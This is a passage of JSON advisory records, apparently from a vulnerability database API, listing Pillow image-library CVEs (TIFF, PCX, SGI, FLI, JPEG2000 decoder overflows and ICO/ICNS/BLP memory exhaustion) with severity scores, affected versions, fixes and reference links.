SGIRleDecode.c.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-03-29T16:35:27.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-25293","https://github.com/python-pillow/Pillow/commit/4853e522bddbec66022c0915b9a56255d0188bf9","https://pillow.readthedocs.io/en/stable/releasenotes/8.1.1.html","https://security.gentoo.org/glsa/202107-33","https://github.com/python-pillow/Pillow/commit/f891baa604636cd2506a9360d170bc2cf4963cc5","https://github.com/advisories/GHSA-p43w-g3c5-g5mq","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2021-39.yaml"],"source_kind":"github","identifiers":["GHSA-p43w-g3c5-g5mq","CVE-2021-25293"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":43.055402818942056,"created_at":"2022-12-21T16:13:10.128Z","updated_at":"2026-08-14T00:13:11.486Z","epss_percentage":0.01601,"epss_percentile":0.73522,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXA0M3ctZzNjNS1nNW1x","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXA0M3ctZzNjNS1nNW1x","packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"8.1.1","vulnerable_version_range":"\u003e= 4.3.0, \u003c 8.1.1"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXA0M3ctZzNjNS1nNW1x/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTU3aDMtOXJnci1jMjRt","url":"https://github.com/advisories/GHSA-57h3-9rgr-c24m","title":"Out of bounds write in Pillow","description":"An issue was discovered in Pillow before 8.1.1. TiffDecode has a heap-based buffer overflow when decoding crafted YCbCr files because of certain interpretation conflicts with LibTIFF in RGBA mode. NOTE: this issue exists because of an incomplete fix for CVE-2020-35654.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2021-03-29T16:35:16.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-25289","https://github.com/python-pillow/Pillow/commit/3fee28eb9479bf7d59e0fa08068f9cc4a6e2f04c","https://pillow.readthedocs.io/en/stable/releasenotes/8.1.1.html","https://security.gentoo.org/glsa/202107-33","https://github.com/python-pillow/Pillow/commit/cbfdde7b1f2295059a20a539ee9960f0bec7b299","https://github.com/advisories/GHSA-57h3-9rgr-c24m","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2021-35.yaml"],"source_kind":"github","identifiers":["GHSA-57h3-9rgr-c24m","CVE-2021-25289"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":46.02474094438634,"created_at":"2022-12-21T16:13:09.361Z","updated_at":"2026-08-11T14:11:58.645Z","epss_percentage":0.02281,"epss_percentile":0.81501,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTU3aDMtOXJnci1jMjRt","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTU3aDMtOXJnci1jMjRt","packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"8.1.1","vulnerable_version_range":"\u003e= 0, \u003c 8.1.1"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTU3aDMtOXJnci1jMjRt/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWY1ZzgtNXFxNy05Mzh3","url":"https://github.com/advisories/GHSA-f5g8-5qq7-938w","title":"Pillow Out-of-bounds Read","description":"In Pillow before 8.1.0, PcxDecode has a buffer over-read when decoding a crafted PCX file because the user-supplied stride value is trusted for buffer calculations.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-03-18T19:55:41.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2020-35653","https://pillow.readthedocs.io/en/stable/releasenotes/index.html","https://lists.debian.org/debian-lts-announce/2021/07/msg00018.html","https://github.com/python-pillow/Pillow/commit/2f409261eb1228e166868f8f0b5da5cda52e55bf","https://github.com/advisories/GHSA-f5g8-5qq7-938w","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2021-69.yaml","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6BYVI5G44MRIPERKYDQEL3S3YQCZTVHE","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BF553AMNNNBW7SH4IM4MNE4M6GNZQ7YD"],"source_kind":"github","identifiers":["GHSA-f5g8-5qq7-938w","CVE-2020-35653"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":41.07584406864587,"created_at":"2022-12-21T16:12:29.877Z","updated_at":"2026-07-23T21:06:31.029Z","epss_percentage":0.01498,"epss_percentile":0.71518,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWY1ZzgtNXFxNy05Mzh3","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWY1ZzgtNXFxNy05Mzh3","packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"8.1.0","vulnerable_version_range":"\u003e= 0, \u003c 8.1.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWY1ZzgtNXFxNy05Mzh3/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWhmNjQteDRncS1wOTlo","url":"https://github.com/advisories/GHSA-hf64-x4gq-p99h","title":"Pillow Out-of-bounds Read","description":"In Pillow before 8.1.0, SGIRleDecode has a 4-byte buffer over-read when decoding crafted SGI RLE image files because offsets and length tables are mishandled.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-03-18T19:55:34.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2020-35655","https://pillow.readthedocs.io/en/stable/releasenotes/index.html","https://github.com/python-pillow/Pillow/commit/2f409261eb1228e166868f8f0b5da5cda52e55bf","https://github.com/python-pillow/Pillow/commit/7e95c63fa7f503f185d3d9eb16b9cee1e54d1e46","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6BYVI5G44MRIPERKYDQEL3S3YQCZTVHE","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BF553AMNNNBW7SH4IM4MNE4M6GNZQ7YD","https://github.com/advisories/GHSA-hf64-x4gq-p99h","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2021-71.yaml"],"source_kind":"github","identifiers":["GHSA-hf64-x4gq-p99h","CVE-2020-35655"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":31.17805031716494,"created_at":"2022-12-21T16:13:10.923Z","updated_at":"2026-07-12T11:05:06.813Z","epss_percentage":0.01573,"epss_percentile":0.72517,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWhmNjQteDRncS1wOTlo","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWhmNjQteDRncS1wOTlo","packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"8.1.0","vulnerable_version_range":"\u003e= 4.3.0, \u003c 8.1.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWhmNjQteDRncS1wOTlo/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXZxY2otd3JmMi03djcz","url":"https://github.com/advisories/GHSA-vqcj-wrf2-7v73","title":"Pillow Out-of-bounds Write","description":"In Pillow before 8.1.0, TiffDecode has a heap-based buffer overflow when decoding crafted YCbCr files because of certain interpretation conflicts with LibTIFF in RGBA mode.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-03-18T19:55:27.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.6,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2020-35654","https://pillow.readthedocs.io/en/stable/releasenotes/index.html","https://github.com/python-pillow/Pillow/commit/eb8c1206d6b170d4e798a00db7432e023853da5c","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6BYVI5G44MRIPERKYDQEL3S3YQCZTVHE","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BF553AMNNNBW7SH4IM4MNE4M6GNZQ7YD","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/TQQY6472RX4J2SUJENWDZAWKTJJGP2ML","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZTSY25UJU7NJUFHH3HWT575LT4TDFWBZ","https://github.com/advisories/GHSA-vqcj-wrf2-7v73","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2021-70.yaml"],"source_kind":"github","identifiers":["GHSA-vqcj-wrf2-7v73","CVE-2020-35654"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":42.56051313136801,"created_at":"2022-12-21T16:13:10.914Z","updated_at":"2026-08-21T12:10:07.672Z","epss_percentage":0.01789,"epss_percentile":0.7657,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXZxY2otd3JmMi03djcz","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXZxY2otd3JmMi03djcz","packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"8.1.0","vulnerable_version_range":"\u003c 8.1.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXZxY2otd3JmMi03djcz/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTN3dmctbWo2Zy1tOWN2","url":"https://github.com/advisories/GHSA-3wvg-mj6g-m9cv","title":"Pillow Uncontrolled Resource Consumption","description":"Pillow before 8.1.2 allows attackers to cause a denial of service (memory consumption) because the reported size of a contained image is not properly checked for an ICNS container, and thus an attempted memory allocation can be very large.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-03-18T19:55:21.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-27922","https://security.gentoo.org/glsa/202107-33","https://github.com/python-pillow/Pillow/commit/756fff33128a0b643d10518a26ad04b726dd8973","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/S7G44Z33J4BNI2DPDROHWGVG2U7ZH5JU","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/TQQY6472RX4J2SUJENWDZAWKTJJGP2ML","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZTSY25UJU7NJUFHH3HWT575LT4TDFWBZ","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2021-41.yaml","https://pillow.readthedocs.io/en/stable/releasenotes/8.1.2.html","https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/S7G44Z33J4BNI2DPDROHWGVG2U7ZH5JU","https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/TQQY6472RX4J2SUJENWDZAWKTJJGP2ML","https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ZTSY25UJU7NJUFHH3HWT575LT4TDFWBZ","https://pillow.readthedocs.io/en/stable/releasenotes/8.1.1.html","https://github.com/advisories/GHSA-3wvg-mj6g-m9cv"],"source_kind":"github","identifiers":["GHSA-3wvg-mj6g-m9cv","CVE-2021-27922"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":43.055402818942056,"created_at":"2022-12-21T16:13:10.931Z","updated_at":"2026-07-05T11:03:34.960Z","epss_percentage":0.04851,"epss_percentile":0.9089,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTN3dmctbWo2Zy1tOWN2","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTN3dmctbWo2Zy1tOWN2","packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"8.1.2","vulnerable_version_range":"\u003c 8.1.2"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTN3dmctbWo2Zy1tOWN2/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWY0dzgtY3Y2cC14NnI1","url":"https://github.com/advisories/GHSA-f4w8-cv6p-x6r5","title":"Pillow Denial of Service by Uncontrolled Resource Consumption","description":"Pillow before 8.1.2 allows attackers to cause a denial of service (memory consumption) because the reported size of a contained image is not properly checked for a BLP container, and thus an attempted memory allocation can be very large.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-03-18T19:55:13.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-27921","https://security.gentoo.org/glsa/202107-33","https://github.com/python-pillow/Pillow/commit/756fff33128a0b643d10518a26ad04b726dd8973","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/S7G44Z33J4BNI2DPDROHWGVG2U7ZH5JU","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/TQQY6472RX4J2SUJENWDZAWKTJJGP2ML","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZTSY25UJU7NJUFHH3HWT575LT4TDFWBZ","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2021-40.yaml","https://pillow.readthedocs.io/en/stable/releasenotes/8.1.2.html","https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/S7G44Z33J4BNI2DPDROHWGVG2U7ZH5JU","https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/TQQY6472RX4J2SUJENWDZAWKTJJGP2ML","https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ZTSY25UJU7NJUFHH3HWT575LT4TDFWBZ","https://pillow.readthedocs.io/en/stable/releasenotes/8.1.1.html","https://github.com/advisories/GHSA-f4w8-cv6p-x6r5"],"source_kind":"github","identifiers":["GHSA-f4w8-cv6p-x6r5","CVE-2021-27921"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":43.055402818942056,"created_at":"2022-12-21T16:13:10.906Z","updated_at":"2026-07-12T11:03:46.781Z","epss_percentage":0.0317,"epss_percentile":0.86507,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWY0dzgtY3Y2cC14NnI1","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWY0dzgtY3Y2cC14NnI1","packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"8.1.2","vulnerable_version_range":"\u003c 8.1.2"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWY0dzgtY3Y2cC14NnI1/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTk1cTMtOGdyOS1nbTh3","url":"https://github.com/advisories/GHSA-95q3-8gr9-gm8w","title":"Pillow Denial of Service by Uncontrolled Resource Consumption","description":"Pillow before 8.1.2 allows attackers to cause a denial of service (memory consumption) because the reported size of a contained image is not properly checked for an ICO container, and thus an attempted memory allocation can be very large.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-03-18T19:54:43.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-27923","https://security.gentoo.org/glsa/202107-33","https://github.com/python-pillow/Pillow/commit/756fff33128a0b643d10518a26ad04b726dd8973","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/S7G44Z33J4BNI2DPDROHWGVG2U7ZH5JU","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/TQQY6472RX4J2SUJENWDZAWKTJJGP2ML","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZTSY25UJU7NJUFHH3HWT575LT4TDFWBZ","https://github.com/advisories/GHSA-95q3-8gr9-gm8w","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2021-42.yaml","https://pillow.readthedocs.io/en/stable/releasenotes/8.1.2.html","https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/S7G44Z33J4BNI2DPDROHWGVG2U7ZH5JU","https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/TQQY6472RX4J2SUJENWDZAWKTJJGP2ML","https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ZTSY25UJU7NJUFHH3HWT575LT4TDFWBZ","https://pillow.readthedocs.io/en/stable/releasenotes/8.1.1.html"],"source_kind":"github","identifiers":["GHSA-95q3-8gr9-gm8w","CVE-2021-27923"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":43.055402818942056,"created_at":"2022-12-21T16:13:10.897Z","updated_at":"2026-08-17T16:08:41.393Z","epss_percentage":0.03071,"epss_percentile":0.86501,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTk1cTMtOGdyOS1nbTh3","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTk1cTMtOGdyOS1nbTh3","packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"8.1.2","vulnerable_version_range":"\u003c 8.1.2"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTk1cTMtOGdyOS1nbTh3/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWNxaGcteGpoaC1wOGhm","url":"https://github.com/advisories/GHSA-cqhg-xjhh-p8hf","title":"Out-of-bounds reads in Pillow","description":"Pillow before 7.1.0 has multiple out-of-bounds reads in `libImaging/FliDecode.c`.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2020-07-27T21:52:43.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2020-10177","https://github.com/python-pillow/Pillow/pull/4503","https://github.com/python-pillow/Pillow/pull/4538","https://github.com/python-pillow/Pillow/commits/master/src/libImaging","https://pillow.readthedocs.io/en/stable/releasenotes/6.2.3.html","https://pillow.readthedocs.io/en/stable/releasenotes/7.1.0.html","https://snyk.io/vuln/SNYK-PYTHON-PILLOW-574573","https://lists.debian.org/debian-lts-announce/2020/08/msg00012.html","https://github.com/python-pillow/Pillow/issues/4750","https://github.com/python-pillow/Pillow/commit/f6926a041b4b544fd2ced3752542afb6c8c19405","https://github.com/python-pillow/Pillow/commit/c88b0204d7c930e3bd72626ae6ea078571cc0ea7","https://github.com/python-pillow/Pillow/commit/c66d8aa75436f334f686fe32bca8e414bcdd18e6","https://github.com/python-pillow/Pillow/commit/c5edc361fd6450f805a6a444723b0f68190b1d0c","https://github.com/python-pillow/Pillow/commit/b4e439d6d7fd986cd6b4c7f9ca18830d79dacd44","https://github.com/python-pillow/Pillow/commit/8d4f3c0c5f2fecf175aeb895e9c2d6d06d85bdc9","https://github.com/python-pillow/Pillow/commit/5b490fc413dfab2d52de46a58905c25d9badb650","https://github.com/python-pillow/Pillow/commit/19ff42bd683486a8a308743c76972ef6a6482e9b","https://github.com/python-pillow/Pillow/commit/11ef7ca53a7d0af4bc52666c29199deffa5fc1bd","https://github.com/python-pillow/Pillow/commit/088ce4df981b70fbec140ee54417bcb49a7dffca","https://github.com/python-pillow/Pillow/commit/00c6dd72d9ed0124cec81040b4bab0979a200fe2","https://usn.ubuntu.com/4430-2","https://usn.ubuntu.com/4430-1","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/HOKHNWV2VS5GESY7IBD237E7C6T3I427","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BEBCPE4F2VHTIT6EZA2YZQZLPVDEBJGD","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2020-76.yaml","https://github.com/advisories/GHSA-cqhg-xjhh-p8hf"],"source_kind":"github","identifiers":["GHSA-cqhg-xjhh-p8hf","CVE-2020-10177"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":35.13716781775731,"created_at":"2022-12-21T16:13:23.374Z","updated_at":"2026-08-17T16:18:33.494Z","epss_percentage":0.01468,"epss_percentile":0.715,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWNxaGcteGpoaC1wOGhm","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWNxaGcteGpoaC1wOGhm","packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"7.1.0","vulnerable_version_range":"\u003c 7.1.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWNxaGcteGpoaC1wOGhm/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTg4NDMtbTdtdy1teHFt","url":"https://github.com/advisories/GHSA-8843-m7mw-mxqm","title":"Buffer overflow in Pillow","description":"In Pillow before 7.1.0, there are two Buffer Overflows in `libImaging/TiffDecode.c`.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2020-07-27T21:52:41.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2020-10379","https://github.com/python-pillow/Pillow/pull/4538","https://github.com/python-pillow/Pillow/commit/46f4a349b88915787fea3fb91348bb1665831bbb#diff-9478f2787e3ae9668a15123b165c23ac","https://github.com/python-pillow/Pillow/commits/master/src/libImaging","https://pillow.readthedocs.io/en/stable/releasenotes/6.2.3.html","https://pillow.readthedocs.io/en/stable/releasenotes/7.1.0.html","https://snyk.io/vuln/SNYK-PYTHON-PILLOW-574577","https://github.com/python-pillow/Pillow/issues/4750","https://github.com/advisories/GHSA-8843-m7mw-mxqm","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2020-78.yaml","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BEBCPE4F2VHTIT6EZA2YZQZLPVDEBJGD","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/HOKHNWV2VS5GESY7IBD237E7C6T3I427","https://usn.ubuntu.com/4430-2"],"source_kind":"github","identifiers":["GHSA-8843-m7mw-mxqm","CVE-2020-10379"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":43.055402818942056,"created_at":"2022-12-21T16:13:23.383Z","updated_at":"2026-08-15T20:16:52.493Z","epss_percentage":0.01129,"epss_percentile":0.63546,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTg4NDMtbTdtdy1teHFt","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTg4NDMtbTdtdy1teHFt","packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"7.1.0","vulnerable_version_range":"\u003c 7.1.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTg4NDMtbTdtdy1teHFt/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXZqNDIteHEzci1ocjNy","url":"https://github.com/advisories/GHSA-vj42-xq3r-hr3r","title":"Out-of-bounds reads in Pillow","description":"In `libImaging/Jpeg2KDecode.c` in Pillow before 7.1.0, there are multiple out-of-bounds reads via a crafted JP2 file.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2020-07-27T21:52:39.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2020-10994","https://github.com/python-pillow/Pillow/pull/4505","https://github.com/python-pillow/Pillow/pull/4538","https://github.com/python-pillow/Pillow/commit/ff60894d697d1992147b791101ad53a8bf1352e4","https://github.com/python-pillow/Pillow/blob/master/docs/releasenotes/7.1.0.rst#security","https://pillow.readthedocs.io/en/stable/releasenotes/7.1.0.html","https://snyk.io/vuln/SNYK-PYTHON-PILLOW-574575","https://github.com/advisories/GHSA-vj42-xq3r-hr3r","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2020-79.yaml","https://github.com/python-pillow/Pillow/commits/master/src/libImaging","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BEBCPE4F2VHTIT6EZA2YZQZLPVDEBJGD","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/HOKHNWV2VS5GESY7IBD237E7C6T3I427","https://pillow.readthedocs.io/en/stable/releasenotes","https://usn.ubuntu.com/4430-1","https://usn.ubuntu.com/4430-2"],"source_kind":"github","identifiers":["GHSA-vj42-xq3r-hr3r","CVE-2020-10994"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":35.13716781775731,"created_at":"2022-12-21T16:13:23.392Z","updated_at":"2026-08-17T16:18:33.495Z","epss_percentage":0.0142,"epss_percentile":0.70547,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXZqNDIteHEzci1ocjNy","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXZqNDIteHEzci1ocjNy","packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"7.1.0","vulnerable_version_range":"\u003c 7.1.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXZqNDIteHEzci1ocjNy/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTQzZnEtdzhxcS12ODho","url":"https://github.com/advisories/GHSA-43fq-w8qq-v88h","title":"Out-of-bounds read in Pillow","description":"In libImaging/SgiRleDecode.c in Pillow through 7.0.0, a number of out-of-bounds reads exist in the parsing of SGI image files, a different issue than 